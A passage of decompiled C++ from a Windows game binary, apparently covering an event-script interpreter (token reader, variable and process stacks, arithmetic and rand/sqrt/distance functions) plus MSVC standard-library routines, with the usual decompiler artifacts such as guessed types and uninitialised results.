result[1].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5B1034: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); //----- (00498DE0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Condition *v2; // esi@1 v2 = this; return (unsigned __int16)this->c_Left.baseclass_0.vfptr->sa_Load(&this->c_Left, tr) && (unsigned __int16)v2->c_Oper.baseclass_0.vfptr->sa_Load(&v2->c_Oper, tr) && (unsigned __int16)v2->c_Right.baseclass_0.vfptr->sa_Load(&v2->c_Right, tr); } //----- (00498E30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID) { return 0; } //----- (00498E40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock) { unsigned __int16 result; // ax@2 if ( exitblock ) result = PineScriptToken::operator__(&this->b_BlockName.bn_Name.i_Identify, exitblock->pst_Buffer) != 0; else result = 1; return result; } //----- (00498E70) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v3; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // eax@3 PineScriptToken rst; // [sp+8h] [bp-104h]@4 v3 = this->i_Id; if ( v3 ) { result = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v3->baseclass_0.vfptr->sa_Calculate)( buffer, ps); } else { v5 = this->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) { result = buffer; memcpy(buffer, &rst, 0x100u); } else { result = 0; } } return result; } //----- (00498F20) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { return (PineScriptToken *)(**(int (__stdcall ***)(_DWORD, _DWORD, _DWORD))this->sfm_Function)( buffer, ps, &this->sfm_ArgumentList); } //----- (00498F40) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; memcpy(buffer, &this->s_String, 0x100u); return result; } //----- (00498F60) -------------------------------------------------------- int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *i; // esi@1 int result; // eax@2 int v3; // eax@4 LABEL_2: for ( i = this; ; ++*i->cr_Line ) { result = fgetc(i->cr_fp); if ( result == 10 ) break; if ( result != 59 ) return result; while ( 1 ) { v3 = fgetc(i->cr_fp); if ( v3 == 10 ) break; if ( v3 == -1 ) goto LABEL_2; } } ++*i->cr_Line; return result; } //----- (00498FA0) -------------------------------------------------------- void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *v1; // esi@1 int v2; // eax@2 v1 = this; do { v2 = v1->cr_UngetBuffer; if ( v2 == -1 ) v2 = PineScriptReader::CharacterReader::cr_GetCh(v1); else v1->cr_UngetBuffer = -1; } while ( v2 <= 32 && v2 != -1 ); v1->cr_UngetBuffer = v2; } //----- (00498FD0) -------------------------------------------------------- void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this) { if ( this->tr_CharReader.cr_fp ) fclose(this->tr_CharReader.cr_fp); } //----- (00498FE0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // esi@1 int v4; // eax@2 PineScriptToken *result; // eax@9 int v6; // eax@11 v2 = this; v3 = &this->tr_Buffer; this->tr_BufPnt = 0; this->tr_Buffer.pst_Buffer[0] = 34; while ( 1 ) { ++v2->tr_BufPnt; v4 = v2->tr_CharReader.cr_UngetBuffer; if ( v4 == -1 ) v4 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v4 == 34 ) break; if ( v4 == 10 ) { v2->tr_ErrCode = "String over line"; return 0; } if ( v4 == -1 ) { v2->tr_ErrCode = "File end in string"; return 0; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = v4; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = 34; v6 = v2->tr_BufPnt + 1; v2->tr_BufPnt = v6; v2->tr_Buffer.pst_Buffer[v6] = 0; result = tkn; memcpy(tkn, v3, 0x100u); return result; } //----- (00499090) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch) { return ch >= 48 && ch <= 57 || ch >= 65 && ch <= 90 || ch >= 97 && ch <= 122 || ch == 95; } //----- (004990D0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch) { return (ch < 48 || ch > 57) && (ch < 65 || ch > 90) && (ch < 97 || ch > 122) && ch != 95; } //----- (00499120) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb) { int v2; // edx@1 unsigned __int16 result; // ax@2 v2 = this->sl_Point; if ( (unsigned int)v2 < 0x80 ) { this->sl_Array[v2] = sb; ++this->sl_Point; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); result = 0; } return result; } //----- (00499170) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 const char *v3; // ebp@2 PineScriptToken *result; // eax@6 PineScriptStack::VariableStack *v5; // [sp+10h] [bp-4h]@1 v2 = this->vs_StackPoint - 1; v5 = this; if ( v2 < 0 ) { LABEL_5: if ( varname ) { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", 1); result = 0; } } else { v3 = (char *)this + 512 * v2; while ( strcmp(v3, varname->pst_Buffer) ) { --v2; v3 -= 512; if ( v2 < 0 ) goto LABEL_5; } result = &v5->vs_Stack[v2].varcontent; } return result; } //----- (00499220) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 PineScriptToken *result; // eax@3 v2 = this->vs_StackPoint; if ( (unsigned int)v2 < 0x7F ) { if ( varname ) { memcpy((char *)this + 512 * v2, varname, 0x100u); result = &this->vs_Stack[this->vs_StackPoint++].varcontent; } else { result = 0; } } else { if ( varname ) { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", 1); result = 0; } } return result; } //----- (004992A0) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this) { _eh_vector_destructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004992C0) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script) { int v2; // esi@1 this->ps_StackPoint = 0; this->ps_Stack[0].ip = 0; v2 = this->ps_StackPoint; this->ps_Script = script; this->ps_Stack[v2].node = (PineEventScriptNode::ScriptAtom *)script; *(_DWORD *)&this->gap10114[20] = 0; *(_DWORD *)&this->gap10114[16] = 0; *(_DWORD *)&this->gap10114[28] = 0; *(_DWORD *)&this->gap10114[24] = 0; this->ps_VarStack.vs_StackPoint = 0; } //----- (00499310) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle) { return ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_Step)( handle, this, &this->ps_Stack[this->ps_StackPoint].ip); } //----- (00499340) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { return PineScriptStack::VariableStack::vs_Push(&this->ps_VarStack, varname); } //----- (00499350) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script) { int v2; // eax@1 unsigned __int16 result; // ax@2 int v4; // eax@3 v2 = this->ps_StackPoint; if ( (unsigned int)v2 < 0x1F ) { v4 = v2 + 1; this->ps_StackPoint = v4; this->ps_Stack[v4].ip = 0; this->ps_Stack[this->ps_StackPoint].node = script; result = 1; } else { result = 0; } return result; } //----- (00499390) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this) { int v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->ps_StackPoint; if ( v1 ) { this->ps_StackPoint = v1 - 1; result = 1; } else { result = 0; } return result; } //----- (004993B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline) { PineEventScript *v3; // esi@1 unsigned __int16 v4; // si@2 unsigned __int16 result; // ax@4 FILE *tr; // [sp+4h] [bp-228h]@1 int *v7; // [sp+8h] [bp-224h]@1 int v8; // [sp+Ch] [bp-220h]@1 char v9; // [sp+10h] [bp-21Ch]@1 char v10; // [sp+110h] [bp-11Ch]@1 int *v11; // [sp+218h] [bp-14h]@1 unsigned int v12; // [sp+21Ch] [bp-10h]@4 int v13; // [sp+228h] [bp-4h]@1 v3 = this; v8 = -1; tr = fopen(fname, "r"); v7 = errline; *errline = 1; v10 = 0; v9 = 0; v11 = errline; v13 = 0; if ( tr ) { v4 = v3->pes_Script.baseclass_0.vfptr->sa_Load( (PineEventScriptNode::ScriptAtom *)v3, (PineScriptReader::TokenReader *)&tr); if ( tr ) fclose(tr); } __security_check_cookie(v12); return result; } //----- (00499480) -------------------------------------------------------- void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript) { if ( ps_statementlist.sl_Point < 0x80u ) ps_statementlist.sl_Array[ps_statementlist.sl_Point++] = pScript; else AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } //----- (004994D0) -------------------------------------------------------- void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this) { this->baseclass_0.vfptr = (std::ios_baseVtbl *)&std::basic_ios>::_vftable_; std::ios_base::_ios_base(&this->baseclass_0); } // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004994E0) -------------------------------------------------------- void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this) { *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; } // 5B10F0: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (004994F0) -------------------------------------------------------- void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this) { char *v1; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( this == (std::basic_iostream > *)12 ) v1 = 0; else v1 = (char *)this - 4; *(_DWORD *)&v1[*(_DWORD *)(*(_DWORD *)v1 + 4)] = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 5B10E8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5B10F0: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5B10F4: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (00499530) -------------------------------------------------------- void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00499550) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this) { std::basic_stringbuf,std::allocator > *v1; // esi@1 int v2; // eax@3 v1 = this; if ( this->_Mystate & 1 ) operator delete(*(void **)this->baseclass_0._IGfirst); *v1->baseclass_0._IGfirst = 0; *v1->baseclass_0._IGnext = 0; *v1->baseclass_0._IGcount = 0; *v1->baseclass_0._IPfirst = 0; *v1->baseclass_0._IPnext = 0; *v1->baseclass_0._IPcount = 0; v2 = v1->_Mystate & 0xFFFFFFFE; v1->_Seekhigh = 0; v1->_Mystate = v2; } //----- (004995B0) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this) { this->_IGnext = &this->_Gnext; this->_IPnext = &this->_Pnext; this->_IGfirst = &this->_Gfirst; this->_IGcount = &this->_Gcount; this->_IPfirst = &this->_Pfirst; this->_IPcount = &this->_Pcount; this->_Pfirst = 0; *this->_IPnext = 0; *this->_IPcount = 0; *this->_IGfirst = 0; *this->_IGnext = 0; *this->_IGcount = 0; } //----- (00499610) -------------------------------------------------------- void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_ostream >::_Sentry_base *this) { int v1; // eax@1 v1 = *(_DWORD *)&this->_Myostr->dummy[*(_DWORD *)(*(_DWORD *)&this->_Myostr->dummy[0] + 4) + 40]; if ( v1 ) std::_Mutex::_Unlock((std::_Mutex *)(v1 + 4)); } //----- (00499630) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)(v3 + 4) = ele->s_Statement; return 1; } // 499646: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00499660) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004996B0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00499700) -------------------------------------------------------- CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle) { unsigned __int16 v3; // dx@1 CardDeck::Card *result; // eax@2 void *v5; // eax@3 int v6; // esi@5 unsigned __int16 v7; // dx@6 v3 = this->l_Finger.store; if ( v3 == this->l_MaxSize ) { v5 = handle; if ( !handle ) v5 = &handle; v6 = 0; *(_WORD *)v5 = this->l_Array[v3].ls_Next; if ( order ) { while ( 1 ) { v7 = this->l_Array[*(_WORD *)v5].ls_Next; *(_WORD *)v5 = v7; if ( v7 >= this->l_MaxSize ) break; ++v6; if ( (unsigned __int16)v6 >= order ) goto LABEL_8; } result = 0; } else { LABEL_8: result = this->l_Array[*(_WORD *)v5].ls_Content; } } else { result = 0; } return result; } //----- (00499780) -------------------------------------------------------- void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs) { std::ctype *v4; // esi@1 _Ctypevec *v5; // eax@1 int v6; // eax@2 _Ctypevec result; // [sp+Ch] [bp-90h]@1 std::_Locinfo thisa; // [sp+1Ch] [bp-80h]@1 int v9; // [sp+98h] [bp-4h]@1 v4 = this; this->baseclass_0.baseclass_0._Refs = _Refs; v9 = 0; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); v5 = _Getctype(&result); v4->_Ctype._Hand = v5->_Hand; v4->_Ctype._Page = v5->_Page; v4->_Ctype._Table = v5->_Table; v4->_Ctype._Delfl = v5->_Delfl; std::_Locinfo::__Locinfo(&thisa); if ( _Table ) { v6 = v4->_Ctype._Delfl; if ( v6 <= 0 ) { if ( v6 < 0 ) operator delete__((void *)v4->_Ctype._Table); } else { free((void *)v4->_Ctype._Table); } v4->_Ctype._Table = _Table; v4->_Ctype._Delfl = -(_Deletetable != 0); } } // 5B1130: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); //----- (00499860) -------------------------------------------------------- char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch) { return _Tolower((unsigned __int8)_Ch, &this->_Ctype); } //----- (00499880) -------------------------------------------------------- const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Tolower(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (004998B0) -------------------------------------------------------- char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch) { return _Toupper((unsigned __int8)_Ch, &this->_Ctype); } //----- (004998D0) -------------------------------------------------------- const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Toupper(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (00499910) -------------------------------------------------------- const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (00499950) -------------------------------------------------------- const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (00499980) -------------------------------------------------------- unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); if ( v1 ) std::ctype::ctype((std::ctype *)v1, 0, 0, 0); else v2 = 0; *_Ppf = v2; } return 2; } //----- (004999F0) -------------------------------------------------------- void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ctype::_ctype(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00499A10) -------------------------------------------------------- void __thiscall std::ctype::_ctype(std::ctype *this) { std::ctype *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->_Ctype._Delfl; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; if ( v2 <= 0 ) { if ( v2 < 0 ) operator delete__((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } else { free((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } } // 5B1130: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); // 5DBBCC: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (00499A50) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str) { PineScriptToken *result; // eax@1 char *v3; // ecx@1 char v4; // dl@2 PineScriptToken n; // [sp+8h] [bp-104h]@2 result = this; v3 = str; do { v4 = *v3; v3[(char *)&n - str] = *v3; ++v3; } while ( v4 ); strcat(result->pst_Buffer, n.pst_Buffer); return result; } //----- (00499AC0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num) { char *v2; // ebx@1 PineScriptToken n; // [sp+Ch] [bp-104h]@1 v2 = (char *)this; sprintf(n.pst_Buffer, "%d"); return (PineScriptToken *)strcat(v2, n.pst_Buffer); } //----- (00499B40) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 + v3); } //----- (00499B70) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 - v3); } //----- (00499BA0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 * v3); } //----- (00499BD0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // edi@1 PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@1 int v5; // eax@2 PineScriptToken *v6; // ecx@2 v2 = this; result = (PineScriptToken *)PineScriptToken::pst_GetNumber(sst, 0); v4 = result; if ( result ) { v5 = PineScriptToken::pst_GetNumber(v2, 1u); result = PineScriptToken::pst_MergeNumber(v6, v5 / (signed int)v4); } return result; } //----- (00499C10) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@2 int v5; // ebx@4 PineScriptToken *v6; // eax@5 signed int v7; // edi@7 int v8; // eax@7 buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v4 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v4 = buffer; v5 = PineScriptToken::pst_GetNumber(v4, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v6 = buffer; v7 = 1 - v5 + PineScriptToken::pst_GetNumber(v6, 0); buffer->pst_Buffer[0] = 0; v8 = rand(); return PineScriptToken::pst_MergeNumber(buffer, v5 + v8 % v7); } //----- (00499C90) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int buffera; // [sp+8h] [bp+4h]@4 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; buffera = PineScriptToken::pst_GetNumber(v5, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber(v4, (unsigned __int64)sqrt((double)buffera)); } //----- (00499CE0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int v6; // ebp@4 PineScriptToken *v7; // eax@5 int v8; // ebx@7 PineScriptToken *v9; // eax@8 PineScriptToken *v10; // eax@11 int v11; // eax@13 int buffera; // [sp+20h] [bp+4h]@10 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; v6 = PineScriptToken::pst_GetNumber(v5, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v7 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v7 = buffer; v8 = PineScriptToken::pst_GetNumber(v7, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[2] ) v9 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[2]->vfptr->sa_Calculate)( buffer, ps); else v9 = buffer; buffera = PineScriptToken::pst_GetNumber(v9, 0); v4->pst_Buffer[0] = 0; if ( argumentlist->al_Express[3] ) v10 = argumentlist->al_Express[3]->vfptr->sa_Calculate(argumentlist->al_Express[3], v4, ps); else v10 = v4; v11 = PineScriptToken::pst_GetNumber(v10, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber( v4, (unsigned __int64)sqrt((double)((v6 - buffera) * (v6 - buffera) + (v8 - v11) * (v8 - v11)))); } //----- (00499DD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SystemFunction::_vftable_; this->sfm_ArgumentList.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ArgumentList::_vftable_; this->sfm_ArgumentList.al_Express[0] = 0; this->sfm_ArgumentList.al_Express[1] = 0; this->sfm_ArgumentList.al_Express[2] = 0; this->sfm_ArgumentList.al_Express[3] = 0; this->sfm_ArgumentList.al_Express[4] = 0; this->sfm_ArgumentList.al_Express[5] = 0; this->sfm_ArgumentList.al_Express[6] = 0; this->sfm_ArgumentList.al_Express[7] = 0; this->sfm_ArgumentList.al_Express[8] = 0; this->sfm_ArgumentList.al_Express[9] = 0; this->sfm_Function = (PineEventScriptNode::SysFuncBase *)sysfuncbase; } // 5B0FF4: using guessed type int (__stdcall *PineEventScriptNode__ArgumentList___vftable_)(int tr); // 5B1158: using guessed type int (__stdcall *PineEventScriptNode__SystemFunction___vftable_)(int tr); // 603208: using guessed type int (__stdcall *(*sysfuncbase[2])[26])(int buffer, int ps, int argumentlist); //----- (00499E10) -------------------------------------------------------- void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this) { PineEventScriptNode::Term *v1; // esi@1 PineEventScriptNode::Term *v2; // edi@1 PineEventScriptNode::ScriptAtom *v3; // eax@3 void *v4; // ST00_4@4 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2 = this->t_Term; if ( v2 ) { PineEventScriptNode::Term::_Term(v2); operator delete(v2); } v3 = v1->t_Atom; if ( v3 ) { v4 = v1->t_Atom; v3->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v4); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (00499E80) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express 